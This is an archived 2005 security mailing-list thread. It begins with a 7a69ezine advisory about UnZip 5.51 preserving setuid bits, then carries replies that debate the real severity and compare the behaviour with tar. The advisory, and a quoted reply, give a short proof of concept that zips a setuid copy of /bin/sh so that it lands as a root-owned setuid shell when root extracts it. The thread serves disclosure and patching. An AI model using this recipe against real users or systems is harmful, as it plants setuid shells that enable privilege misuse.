7a69Adv#22 - UNIX unzip keep setuid and setgid files

[Albert Puigsech Galicia]

=2D ------------------------------------------------------------------
7a69ezine Advisories 7a69Adv#22
=2D ------------------------------------------------------------------
http://www.7a69ezine.org [26/01/2005]
=2D ------------------------------------------------------------------

Title: Unzip keep setuid and setgid files

Author: Albert Puigsech Galicia - <ripe@7a69ezine.org>

Software: Unzip

Versions: >=3D 5.51

Remote: No

Exploit: yes

Severity: Low/Medium

=2D ------------------------------------------------------------------



I. Introduction.

UnZip is an extraction utility for archives compressed in .zip format. It'=
s=20
compatible with PKWARE's PKZIP and PKUNZIP utilities for MS-DOS. The primar=
y=20
objectives have been portability and non-MSDOS fuctionality. More info abou=
t=20
unzip on http://www.info-zip.org/pub/infozip/UnZip.html.



II. Description.

The unzip UNIX functionality allow you to maintain file permisions into=20
compressed files, and of course that includes the setuid bit. Because it do=
es=20
not show a warning message before unpacking a setuid file is posible to cre=
ate
a malicious ZIP file that creates an executable setuid.



III. Exploit

It's realy easy to test this vulnerability. You can create a malicious ZIP=
=20
file following this example:

$ cp /bin/sh .
$ chmod 4777 sh
$ zip malicious.zip sh


When another user (including root) unpacks the file, a setuid shell file w=
ill=20
be created without any warning, as you can see here:

# id
# unzip malicious.zip
Archive: malicious.zip
inflating: sh
# ls -l sh
-rwsrwxrwx 1 root root 705148 Jan 16 17:04 sh


Of course ye need a local account on the system to execute the file, so it=
's=20
not a remote vulnerability.




IV. Patch

Upgrade to unzip 5.52.
=20

V. Timeline

12/01/2005 - Bug discovered
16/01/2005 - Vendor contacted
21/01/2005 - Vendor response
25/01/2005 - Vendor patch provided
28/02/2005 - New versi=F3n published
28/02/2005 - Advisor published



VI. Extra data

You can find more 7a69ezine advisories on this following link:

http://www.7a69ezine.org/avisos/propios [spanish info]

[John Simpson]

--Apple-Mail-3-325507907
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII; format=flowed

On 28 Feb 2005, at 08:17, Albert Puigsech Galicia wrote:
>
> III. Exploit
>
> It's realy easy to test this vulnerability. You can create a malicious
> ZIP
> file following this example:
>
> $ cp /bin/sh .
> $ chmod 4777 sh
> $ zip malicious.zip sh
>
>
> When another user (including root) unpacks the file, a setuid shell
> file will
> be created without any warning, as you can see here:
>
> # id
> # unzip malicious.zip
> Archive: malicious.zip
> inflating: sh
> # ls -l sh
> -rwsrwxrwx 1 root root 705148 Jan 16 17:04 sh

this only works if the user un-zipping the file is already root.
otherwise it creates an "sh" binary which is setuid to the user who
unzipped the file. this kind of "exploit" is only useful if you can
somehow trick root into unzipping the file- it cannot be used to gain
root on a machine where you don't already have it.

although i will agree that having the unzip program warn the user when
creating a setuid or setgid file is a good idea in general.

--------------------------------------------------
| John M. Simpson - KG4ZOW - Programmer At Large |
| http://www.jms1.net/ <jms1@jms1.net> |
--------------------------------------------------
| Mac OS X proves that it's easier to make UNIX |
| pretty than it is to make Windows secure. |
--------------------------------------------------

--Apple-Mail-3-325507907
content-type: application/pgp-signature; x-mac-type=70674453;
name=PGP.sig
content-description: This is a digitally signed message part
content-disposition: inline; filename=PGP.sig
content-transfer-encoding: 7bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iD8DBQFCI5keEB9RczMG/PsRAg13AJ9GW9UhCsvF06FZ/qyrDXRgzxZlugCgnJIM
8k/cVwRGtwWMfuOHrj2xgHw=
=Ad63
-----END PGP SIGNATURE-----

--Apple-Mail-3-325507907--

[Han Boetes]

John Simpson wrote:
> this only works if the user un-zipping the file is already root.
> otherwise it creates an "sh" binary which is setuid to the user
> who unzipped the file. this kind of "exploit" is only useful if
> you can somehow trick root into unzipping the file- it cannot be
> used to gain root on a machine where you don't already have it.

If your homedir is worldreadable, which is pretty common practice
the other user can run the shell and get your useraccount.


> although i will agree that having the unzip program warn the
> user when creating a setuid or setgid file is a good idea in
> general.

Lets take a look at how tar does it: it uses the p flag.

-p Preserve user and group ID as well as file mode regardless
of the current umask(2). The setuid and setgid bits are
only preserved if the user is the superuser. Only meaning-
ful in conjunction with the -x flag.



# Han

[devnull@Rodents.Montreal.QC.CA]

[As usual when I write here, the header From: is a black hole. Use the
address in the signature to actually reach me.]

>> this only works if the user un-zipping the file is already root.
>> otherwise it creates an "sh" binary which is setuid to the user who
>> unzipped the file.
> If your homedir is worldreadable, which is pretty common practice the
> other user can run the shell and get your useraccount.

This is confusing readable with executable.

If a directory is readable, anyone can find out the names of the things
in it. If it's executable, anyone who knows a thing's name there can
get to the thing.

Read and execute access usually go together on directories, but they
don't have to. (A +r-x directory is of doubtful use. But -r+x is
comparatively useful.)

/~\ The ASCII der Mouse
\ / Ribbon Campaign
X Against HTML mouse@rodents.montreal.qc.ca
/ \ Email! 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B

[exon]

Han Boetes wrote:
> John Simpson wrote:
>
>>this only works if the user un-zipping the file is already root.
>>otherwise it creates an "sh" binary which is setuid to the user
>>who unzipped the file. this kind of "exploit" is only useful if
>>you can somehow trick root into unzipping the file- it cannot be
>>used to gain root on a machine where you don't already have it.
>
>
> If your homedir is worldreadable, which is pretty common practice
> the other user can run the shell and get your useraccount.
>

What does that have to do with anything? The targeted user still has to
run the shell-script, and the script can't be setuid root unless root
unpacks it. Actually, shell-scripts (or any runtime-interpreted
language) usually can't run with elevated privileges, since the parsing
binary (in this case /bin/sh) would need to be setuid root as well. If
it is, you don't need a script to do your work for you.

If you're assuming normaluser would unzip the "evil" zip file and then
eviluser on the same system could execute it to gain the privileges of
normaluser, eviluser still hasn't gained anything since he/she would
have been able to read the world-readable (no sound distribution does
this anymore) directory anyways. If normalusers homedir isn't
world-readable then eviluser wouldn't even be able to run the
shell-script. Binaries are a different matter, but it still boils down
to the targeted user running whatever you send him. If you can manage
that you don't need flawed programs to break in.

>
>
>>although i will agree that having the unzip program warn the
>>user when creating a setuid or setgid file is a good idea in
>>general.
>
>
> Lets take a look at how tar does it: it uses the p flag.
>
> -p Preserve user and group ID as well as file mode regardless
> of the current umask(2). The setuid and setgid bits are
> only preserved if the user is the superuser. Only meaning-
> ful in conjunction with the -x flag.
>
>
>
> # Han
>
>